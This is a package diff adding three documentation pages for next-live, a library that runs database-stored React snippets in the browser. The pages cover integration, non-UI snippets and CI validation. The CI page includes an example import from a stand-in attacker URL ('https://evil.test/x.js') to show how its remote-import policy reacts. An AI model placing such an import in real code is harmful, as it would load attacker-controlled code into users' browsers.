next-live 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,340 @@
1
+ # Integration guide: apps stored in a database
2
+
3
+ [← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)
4
+
5
+ An end-to-end walkthrough of the pattern `next-live` was built for: a control
6
+ panel where staff author apps, whose source is stored in a database and executed
7
+ in the browser when a user opens one.
8
+
9
+ Everything here is generic, substitute your own store, UI kit, and data layer.
10
+
11
+ ## What we are building
12
+
13
+ ```
14
+ Control panel ──writes──▶ database ──serves──▶ /api/apps/[id]
15
+
16
+
17
+ /apps/[id] ──▶ <LiveProvider>
18
+
19
+ compiles in the browser
20
+
21
+
22
+ the running app
23
+ ```
24
+
25
+ ## Step 1: Install
26
+
27
+ ```bash
28
+ npm install next-live
29
+ ```
30
+
31
+ ## Step 2: Decide your SDK surface first
32
+
33
+ Do this before writing any code. Whatever you expose becomes a public contract
34
+ with your authors, you cannot rename it later without breaking stored apps.
35
+
36
+ Pick a handful of stable namespaces:
37
+
38
+ | Specifier | Contains |
39
+ |---|---|
40
+ | `@app/store` | Your application state |
41
+ | `@app/ui` | Buttons, inputs, layout primitives |
42
+ | `@app/data` | Fetch helpers scoped to the signed-in user |
43
+ | `@app/format` | Dates, currency, units |
44
+
45
+ Create one directory holding exactly these, each a **thin re-export** of the real
46
+ implementation. That way the implementations stay free to move:
47
+
48
+ ```
49
+ lib/live-sdk/
50
+ index.ts # composes the registry
51
+ vendor.ts # third-party packages
52
+ generated.ts # globs ./modules
53
+ modules/ # ← the SDK surface, one file per namespace
54
+ store.ts
55
+ ui.ts
56
+ data.ts
57
+ format.ts
58
+ ```
59
+
60
+ ```ts
61
+ // lib/live-sdk/modules/store.ts
62
+ export { useAppStore, addItem, clearCart } from '@/lib/store';
63
+ ```
64
+
65
+ ```ts
66
+ // lib/live-sdk/modules/ui.ts
67
+ export { Button, Card, Stack } from '@/components/ui';
68
+ ```
69
+
70
+ ## Step 3: Generate the registry from that directory
71
+
72
+ ```ts
73
+ // lib/live-sdk/generated.ts
74
+ import { registryFromGlob } from 'next-live';
75
+ import type { ModuleRegistry } from 'next-live';
76
+
77
+ export const generatedModules: ModuleRegistry = registryFromGlob(
78
+ // Must be at or below this file's own directory - a '../' pattern silently
79
+ // matches nothing under Turbopack.
80
+ import.meta.glob('./modules/*.ts'),
81
+ (path) => {
82
+ const name = path.split('/').pop()?.replace(/\.tsx?$/, '');
83
+ return name ? `@app/${name}` : null;
84
+ },
85
+ );
86
+ ```
87
+
88
+ Add a file to `modules/` and it becomes importable by snippets - lazily, with no
89
+ edit here. This file never grows.
90
+
91
+ ## Step 4: Register third-party packages as loaders
92
+
93
+ ```ts
94
+ // lib/live-sdk/vendor.ts
95
+ import { defineLoader } from 'next-live';
96
+ import type { ModuleRegistry } from 'next-live';
97
+
98
+ export const vendorModules: ModuleRegistry = {
99
+ 'date-fns': defineLoader(() => import('date-fns')),
100
+ 'my-charts': defineLoader(() => import('my-charts')),
101
+
102
+ // A key ending in '/' claims a whole subtree and receives the full specifier.
103
+ 'big-lib/': defineLoader((specifier) =>
104
+ import(`big-lib/${specifier.slice('big-lib/'.length)}`),
105
+ ),
106
+ };
107
+ ```
108
+
109
+ Loaders, never values - a value ends up in your page bundle for every visitor.
110
+ If your app already imports the package for its own use, the loader costs
111
+ nothing extra; it hands over the module that is already loaded.
112
+
113
+ ## Step 5: Compose
114
+
115
+ ```ts
116
+ // lib/live-sdk/index.ts
117
+ import { createRegistry } from 'next-live';
118
+ import { vendorModules } from './vendor';
119
+ import { generatedModules } from './generated';
120
+
121
+ export const liveModules = createRegistry(vendorModules, generatedModules);
122
+ ```
123
+
124
+ ## Step 6: Serve the source from your API
125
+
126
+ ```ts
127
+ // app/api/apps/[id]/route.ts
128
+ import { NextResponse } from 'next/server';
129
+ import { getApp } from '@/lib/apps';
130
+
131
+ export async function GET(
132
+ _request: Request,
133
+ context: { params: Promise<{ id: string }> },
134
+ ) {
135
+ const { id } = await context.params;
136
+
137
+ // Authorise the read the same way you authorise any other resource.
138
+ const app = await getApp(id);
139
+ if (!app) return NextResponse.json({ error: 'Not found' }, { status: 404 });
140
+
141
+ return NextResponse.json({ id: app.id, name: app.name, source: app.source });
142
+ }
143
+ ```
144
+
145
+ **Snippet source must only ever come from here** - never from a query parameter,
146
+ hash fragment, or `localStorage`. See [Security](./05-security.md).
147
+
148
+ ## Step 7: The runner component
149
+
150
+ ```tsx
151
+ // app/apps/[id]/Runner.tsx
152
+ 'use client';
153
+
154
+ import { useEffect, useState } from 'react';
155
+ import { LiveProvider, LivePreview, LiveError } from 'next-live';
156
+ import { liveModules } from '@/lib/live-sdk';
157
+ import { useCurrentUser } from '@/lib/auth';
158
+
159
+ export function Runner({ id }: { id: string }) {
160
+ const [source, setSource] = useState<string | null>(null);
161
+ const [failed, setFailed] = useState(false);
162
+ const user = useCurrentUser();
163
+
164
+ useEffect(() => {
165
+ const controller = new AbortController();
166
+ setFailed(false);
167
+
168
+ fetch(`/api/apps/${id}`, { signal: controller.signal })
169
+ .then((r) => (r.ok ? r.json() : Promise.reject(new Error(String(r.status)))))
170
+ .then((data: { source: string }) => setSource(data.source))
171
+ .catch(() => {
172
+ if (!controller.signal.aborted) setFailed(true);
173
+ });
174
+
175
+ return () => controller.abort();
176
+ }, [id]);
177
+
178
+ if (failed) return <p>This app could not be loaded.</p>;
179
+ if (source === null) return <AppSkeleton />;
180
+
181
+ return (
182
+ <LiveProvider
183
+ code={source}
184
+ modules={liveModules}
185
+ props={{ user }}
186
+ filePath={`${id}.tsx`}
187
+ fallback={<AppSkeleton />}
188
+ onError={(error) => reportToMonitoring(error, { appId: id })}
189
+ >
190
+ <LivePreview />
191
+ <LiveError />
192
+ </LiveProvider>
193
+ );
194
+ }
195
+ ```
196
+
197
+ Three details worth copying:
198
+
199
+ - **`filePath`** gives stack traces and DevTools a stable, identifiable name.
200
+ - **`fallback`** should be the same skeleton you use while fetching, so there is
201
+ no layout shift when compiling starts.
202
+ - **`onError`** is where you find out that an app your staff published is broken
203
+ in production. Wire it to your monitoring.
204
+
205
+ ## Step 8: The page
206
+
207
+ ```tsx
208
+ // app/apps/[id]/page.tsx
209
+ import { Runner } from './Runner';
210
+
211
+ export default async function AppPage({
212
+ params,
213
+ }: {
214
+ params: Promise<{ id: string }>;
215
+ }) {
216
+ const { id } = await params;
217
+ return <Runner id={id} />;
218
+ }
219
+ ```
220
+
221
+ A Server Component can import and render the runner directly - `next-live`
222
+ components carry `'use client'` themselves.
223
+
224
+ ## Step 9: CSP
225
+
226
+ ```ts
227
+ // proxy.ts
228
+ const RUNNER_ROUTES = ['/apps']; // add '/playground' too if you have a lab route
229
+ ```
230
+
231
+ Full file in [Security](./05-security.md#3-scope-unsafe-eval-to-the-routes-that-run-snippets).
232
+ **Do not skip this** - without `'unsafe-eval'` on your runner routes, nothing
233
+ runs in production, and you want the directive confined to those routes.
234
+
235
+ ## Step 10: The editor side
236
+
237
+ Your control panel needs the editor rather than just the preview:
238
+
239
+ ```tsx
240
+ 'use client';
241
+
242
+ import { useState } from 'react';
243
+ import { LiveProvider, LivePreview, LiveError } from 'next-live';
244
+ import { LiveEditor } from 'next-live/editor';
245
+ import { liveModules } from '@/lib/live-sdk';
246
+
247
+ export function AppEditor({ initialSource, onSave }: {
248
+ initialSource: string;
249
+ onSave: (source: string) => Promise<void>;
250
+ }) {
251
+ const [source, setSource] = useState(initialSource);
252
+
253
+ return (
254
+ <LiveProvider
255
+ code={source}
256
+ modules={liveModules}
257
+ onCodeChange={setSource}
258
+ >
259
+ <div className="grid gap-4 lg:grid-cols-2">
260
+ <LiveEditor />
261
+ <div>
262
+ <LivePreview />
263
+ <LiveError />
264
+ </div>
265
+ </div>
266
+ <button onClick={() => onSave(source)}>Save</button>
267
+ </LiveProvider>
268
+ );
269
+ }
270
+ ```
271
+
272
+ Remember that saving is equivalent to deploying: authorise the write endpoint
273
+ strictly, and keep an audit trail and version history.
274
+
275
+ ## Step 11: Optional: precompile on the server
276
+
277
+ If the same apps are opened repeatedly, transpile once and cache by content
278
+ hash. The browser then never downloads the transpiler:
279
+
280
+ ```ts
281
+ import { precompile } from 'next-live/server';
282
+
283
+ const result = precompile(app.source, { filePath: `${app.id}.tsx` });
284
+ // cache by result.hash, return result.code
285
+ ```
286
+
287
+ ```tsx
288
+ import { precompiledTransform } from 'next-live';
289
+
290
+ // Only while code === the source that was precompiled:
291
+ <LiveProvider code={source} transform={precompiledTransform(compiled)} />
292
+ ```
293
+
294
+ When the author edits the snippet, `precompiledTransform` still returns the
295
+ old server output - drop `transform` (or re-fetch with the new source) as soon
296
+ as `code` diverges from the catalog version.
297
+
298
+ ## Pre-launch checklist
299
+
300
+ - [ ] Snippet source comes only from your authenticated API.
301
+ - [ ] The write endpoint is authorised, audited, and versioned.
302
+ - [ ] `'unsafe-eval'` is scoped to runner routes in `proxy.ts`.
303
+ - [ ] `connect-src` is as narrow as your apps allow.
304
+ - [ ] `onError` reports to monitoring.
305
+ - [ ] `fallback` matches your loading skeleton.
306
+ - [ ] `npm ls react` shows exactly one version.
307
+ - [ ] Every registry entry is a loader, not a value.
308
+ - [ ] CI validates every stored snippet against the registry
309
+ ([Validating in CI](./10-validating-in-ci.md)).
310
+ - [ ] An author-facing note explains that TypeScript types are stripped, not
311
+ checked.
312
+
313
+ ## A worked example
314
+
315
+ `apps/playground` in this repository implements the full pattern in two routes:
316
+
317
+ | Route | Purpose |
318
+ |---|---|
319
+ | **`/apps`** | Production-shaped shell - header, sidebar tabs, `LivePreview` only. Source fetched from `/api/shell-apps/[id]`. Demos React hooks (`useEffect`), `@app/ui` (shadcn/Tailwind via registry), `@app/format`, and `@app/store`. |
320
+ | **`/playground`** | Developer lab - editor, precompile toggle, localStorage save, and pedagogical panels. Source from `/api/apps/[id]`. |
321
+
322
+ Both share the same composed lazy registry (`lib/live-sdk`), scoped CSP
323
+ (`RUNNER_ROUTES = ['/playground', '/apps', '/docs']`), and CI validation
324
+ (`npm run validate:apps`).
325
+
326
+ ```bash
327
+ npm install
328
+ npm run dev
329
+ # http://localhost:3000/apps : shell demo (what users see)
330
+ # http://localhost:3000/playground : lab (editor + experiments)
331
+ ```
332
+
333
+ Registry modules live in `lib/live-sdk/modules/` - one thin re-export per
334
+ namespace (`store.ts`, `ui.ts`, `format.ts`). CI keys are derived from that
335
+ directory in Node (`lib/live-sdk/module-keys.ts`) so renames fail the build
336
+ without hand-maintaining a key list.
337
+
338
+ ---
339
+
340
+ [← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)
@@ -0,0 +1,124 @@
1
+ # Snippets that are not components
2
+
3
+ [← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)
4
+
5
+ Not everything worth storing as editable code renders something. A control
6
+ panel accumulates validators, data transformers, calculated fields, pricing
7
+ rules, config builders, plain modules with no UI at all.
8
+
9
+ `useLiveModule` runs those and hands back their exports.
10
+
11
+ ## The difference
12
+
13
+ ```ts
14
+ compile(...) // insists on a component; throws NoComponentError otherwise
15
+ compileModule(...) // returns whatever the snippet exported
16
+ ```
17
+
18
+ ```tsx
19
+ 'use client';
20
+
21
+ import { useLiveModule } from 'next-live';
22
+
23
+ export function RulePreview({ source, input }: { source: string; input: number }) {
24
+ const { exports, error, isCompiling } = useLiveModule({ code: source });
25
+
26
+ if (error) return <p role="alert">{error.message}</p>;
27
+ if (!exports) return <p>{isCompiling ? 'Compiling…' : null}</p>;
28
+
29
+ const validate = exports.validate as ((n: number) => boolean) | undefined;
30
+ return <p>{validate?.(input) ? 'valid' : 'invalid'}</p>;
31
+ }
32
+ ```
33
+
34
+ The snippet is an ordinary module:
35
+
36
+ ```ts
37
+ import { taxRate } from '@app/config';
38
+
39
+ export function validate(amount: number) {
40
+ return amount > 0 && amount < 10_000;
41
+ }
42
+
43
+ export function total(amount: number) {
44
+ return amount * (1 + taxRate);
45
+ }
46
+
47
+ export const schema = { type: 'number', minimum: 0 };
48
+ ```
49
+
50
+ ## Typing the exports
51
+
52
+ Pass a type parameter so consumers are not stuck with `unknown`:
53
+
54
+ ```ts
55
+ interface PricingRule {
56
+ validate: (amount: number) => boolean;
57
+ total: (amount: number) => number;
58
+ schema: Record<string, unknown>;
59
+ }
60
+
61
+ const { exports } = useLiveModule<PricingRule>({ code: source });
62
+ exports?.total(100);
63
+ ```
64
+
65
+ This is a **claim, not a check** - Sucrase strips types without verifying them,
66
+ so nothing guarantees the snippet actually matches. Validate the shape at
67
+ runtime before trusting it:
68
+
69
+ ```ts
70
+ if (typeof exports?.total !== 'function') {
71
+ throw new Error('This rule must export a `total` function.');
72
+ }
73
+ ```
74
+
75
+ ## Outside React
76
+
77
+ `compileModule` has no React dependency of its own and can be called directly:
78
+
79
+ ```ts
80
+ import { compileModule } from 'next-live';
81
+
82
+ const { exports } = await compileModule({
83
+ code: rule.source,
84
+ modules: { '@app/config': config },
85
+ });
86
+ ```
87
+
88
+ It still evaluates in the current realm, so the usual rule applies: only run
89
+ code whose author you trust. See [Security](./05-security.md).
90
+
91
+ ## What it shares with `useLiveRunner`
92
+
93
+ Both hooks sit on the same scheduler, so their behaviour is identical in every
94
+ respect that matters:
95
+
96
+ - Nothing is evaluated during the server pass; `exports` is `null` on the
97
+ server and on the client's first render, so hydration cannot mismatch.
98
+ - Changes are debounced, and a superseded compile never commits its result.
99
+ - A failed recompile keeps the last good `exports` (`keepLastGood`, default on).
100
+ - `compileId` increments on every successful run.
101
+ - `onCompileSuccess` fires after each successful run with sorted `imports` and
102
+ `durationMs`.
103
+
104
+ The playground's **API script** tab (`/playground`) fetches non-UI source from
105
+ an API route and runs it with `useLiveModule` against `@app/store`.
106
+
107
+ The one thing it does **not** share: there is no render-loop breaker, because
108
+ nothing is being rendered. A snippet that loops inside an exported function
109
+ will hang the tab exactly as any other synchronous loop would.
110
+
111
+ ## Choosing between them
112
+
113
+ | Use | When |
114
+ |---|---|
115
+ | `useLiveRunner` / `<LiveProvider>` | The snippet renders UI |
116
+ | `useLiveModule` | The snippet exports functions, values, or config |
117
+
118
+ A snippet can do both - export a component *and* helpers. `useLiveRunner` picks
119
+ the component; `useLiveModule` gives you everything, including the component
120
+ under `exports.default`.
121
+
122
+ ---
123
+
124
+ [← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)
@@ -0,0 +1,192 @@
1
+ # Validating stored snippets in CI
2
+
3
+ [← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)
4
+
5
+ ## The problem
6
+
7
+ Your snippets live in a database, not in your repository. So when you rename
8
+ something in your SDK -
9
+
10
+ ```ts
11
+ // lib/live-sdk/modules/store.ts
12
+ - export { useCart } from '@/lib/store';
13
+ + export { useBasket } from '@/lib/store';
14
+ ```
15
+
16
+ - every stored app importing `useCart` breaks. Nothing fails at build time. The
17
+ tests pass. The failure surfaces days later, for whoever opens that app next.
18
+
19
+ The more apps you have, the worse this gets, and the less anyone wants to
20
+ refactor the SDK at all.
21
+
22
+ ## The fix
23
+
24
+ `validateSnippets` compiles every stored snippet and checks its imports against
25
+ your registry. Run it in CI and the rename fails the build instead.
26
+
27
+ ```ts
28
+ // scripts/validate-apps.ts
29
+ import { validateSnippets } from 'next-live/server';
30
+ import { getAllApps } from '../lib/db';
31
+ import { LIVE_MODULE_KEYS } from '../lib/live-sdk/module-keys';
32
+
33
+ const apps = await getAllApps(); // [{ id, source }, …]
34
+ const failures = validateSnippets(apps, { modules: [...LIVE_MODULE_KEYS] });
35
+
36
+ if (failures.length === 0) {
37
+ console.log(`✓ all ${apps.length} stored apps validate`);
38
+ process.exit(0);
39
+ }
40
+
41
+ console.error(`✗ ${failures.length} of ${apps.length} stored apps are broken:\n`);
42
+ for (const { id, result } of failures) {
43
+ for (const issue of result.issues) {
44
+ const where = issue.line ? ` (line ${issue.line})` : '';
45
+ console.error(` ${id}${where}: ${issue.message}`);
46
+ }
47
+ }
48
+ process.exit(1);
49
+ ```
50
+
51
+ Output when someone renames a module:
52
+
53
+ ```
54
+ ✗ 1 of 6 stored apps are broken:
55
+
56
+ store: Module '@app/store' is not registered. Did you mean '@app/cart'?
57
+ ```
58
+
59
+ ```yaml
60
+ # .github/workflows/ci.yml
61
+ - run: npm run validate:apps
62
+ ```
63
+
64
+ A working version is in `apps/playground/scripts/validate-apps.ts`. It validates
65
+ both the lab catalogue (`lib/apps.ts`) and the shell catalogue
66
+ (`lib/shell-apps.ts`), plus a non-UI API script.
67
+
68
+ ### Keeping the key list honest
69
+
70
+ Do not hand-maintain registry keys. Derive `@app/*` keys from your
71
+ `modules/` directory in Node (the playground uses `readdirSync` in
72
+ `lib/live-sdk/module-keys.ts` because `import.meta.glob` cannot run in a CI
73
+ script). Add a drift check that compares keys on disk to `LIVE_MODULE_KEYS`:
74
+
75
+ ```bash
76
+ npm run validate:apps:test -w playground
77
+ ```
78
+
79
+ ## What it checks, and what it does not
80
+
81
+ **Checks:**
82
+
83
+ - The snippet parses and transpiles - syntax and TypeScript-syntax errors, with
84
+ a line and column.
85
+ - Every import resolves against your registry, honouring built-ins
86
+ (`react`, the JSX runtimes), prefix entries (`big-lib/`), and ignored asset
87
+ imports.
88
+ - Unresolved specifiers come with a "did you mean" suggestion.
89
+ - Optional policy flags (all opt-in): `maxSourceBytes`, `forbidNodeBuiltins`,
90
+ `forbidRemoteImports`, `denySpecifiers`. See
91
+ [API reference: validateSnippet](./06-api-reference.md#validatesnippetsource-options).
92
+
93
+ **Does not check:**
94
+
95
+ - **Runtime behaviour.** Nothing is evaluated, so a snippet that throws on
96
+ render still passes. That is deliberate - see below.
97
+ - **Types.** Sucrase strips them without verifying them, here as everywhere.
98
+ - **Named exports within a module.** It confirms `@app/store` is registered,
99
+ not that `useCart` still exists inside it. To catch that, run your own
100
+ `tsc` over the SDK re-export files, which is where the truth lives.
101
+ - **Subpath walking** (`resolveSubpaths`), which needs the registry's actual
102
+ values rather than its keys.
103
+ - **Imports whose binding is never used.** Sucrase elides them, on the
104
+ assumption that an unused import was a type import. See below - this is not
105
+ the hole it looks like.
106
+
107
+ ### Unused imports report clean, and that is correct
108
+
109
+ An import nobody references does not appear in `imports`, and no policy flag
110
+ fires on it:
111
+
112
+ ```ts
113
+ // Reported as ok, with imports: []
114
+ import evil from 'https://evil.test/x.js';
115
+ export default function App() { return null; }
116
+ ```
117
+
118
+ That is not validation missing something. The same Sucrase pass runs in the
119
+ browser, so the specifier is stripped from the compiled output too - the module
120
+ is never requested at runtime. Validation and execution agree; there is nothing
121
+ to catch because nothing happens.
122
+
123
+ Use the binding and both react as you would expect:
124
+
125
+ ```ts
126
+ // ok: false - forbidden-import -> https://evil.test/x.js
127
+ import evil from 'https://evil.test/x.js';
128
+ export default function App() { return evil; }
129
+ ```
130
+
131
+ ## Why it never evaluates
132
+
133
+ Validation is pure static analysis, which buys three things:
134
+
135
+ 1. **Safe on untrusted content.** CI can validate a snippet a user submitted
136
+ without running it.
137
+ 2. **No DOM, no React, no browser.** It works in a plain Node script or a Route
138
+ Handler.
139
+ 3. **No side effects.** A snippet that writes to a database at module scope will
140
+ not do so during validation.
141
+
142
+ The test suite pins this: a snippet that sets a global at module scope validates
143
+ successfully *and* leaves the global untouched.
144
+
145
+ ## Keys, not the registry
146
+
147
+ Pass the registry keys rather than the registry itself:
148
+
149
+ ```ts
150
+ validateSnippets(apps, { modules: ['@app/store', 'big-lib/'] });
151
+ ```
152
+
153
+ The real registry is full of bundler-specific dynamic imports and is awkward to
154
+ load in a plain Node script. `validateSnippet` accepts a registry object too,
155
+ if yours is simple enough to import.
156
+
157
+ To keep the list honest, derive it from the filesystem rather than maintaining
158
+ a parallel list:
159
+
160
+ ```ts
161
+ // lib/live-sdk/module-keys.ts - Node-safe, no import.meta.glob
162
+ import { readdirSync } from 'node:fs';
163
+ import { vendorModules } from './vendor';
164
+
165
+ const appKeys = readdirSync('./modules')
166
+ .filter((f) => /\.tsx?$/.test(f))
167
+ .map((f) => `@app/${f.replace(/\.tsx?$/, '')}`);
168
+
169
+ export const LIVE_MODULE_KEYS = [...Object.keys(vendorModules), ...appKeys];
170
+ ```
171
+
172
+ Do **not** re-export `LIVE_MODULE_KEYS` from the client registry barrel - it
173
+ pulls `node:fs` into the browser bundle.
174
+
175
+ ## Validate on write, too
176
+
177
+ The same function is useful in your control panel's save endpoint, so a broken
178
+ app never reaches the database in the first place:
179
+
180
+ ```ts
181
+ const result = validateSnippet(source, { modules: MODULE_KEYS });
182
+ if (!result.ok) {
183
+ return Response.json({ errors: result.issues }, { status: 422 });
184
+ }
185
+ ```
186
+
187
+ CI then catches the other direction - apps that were fine when saved and broke
188
+ when the SDK changed underneath them.
189
+
190
+ ---
191
+
192
+ [← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)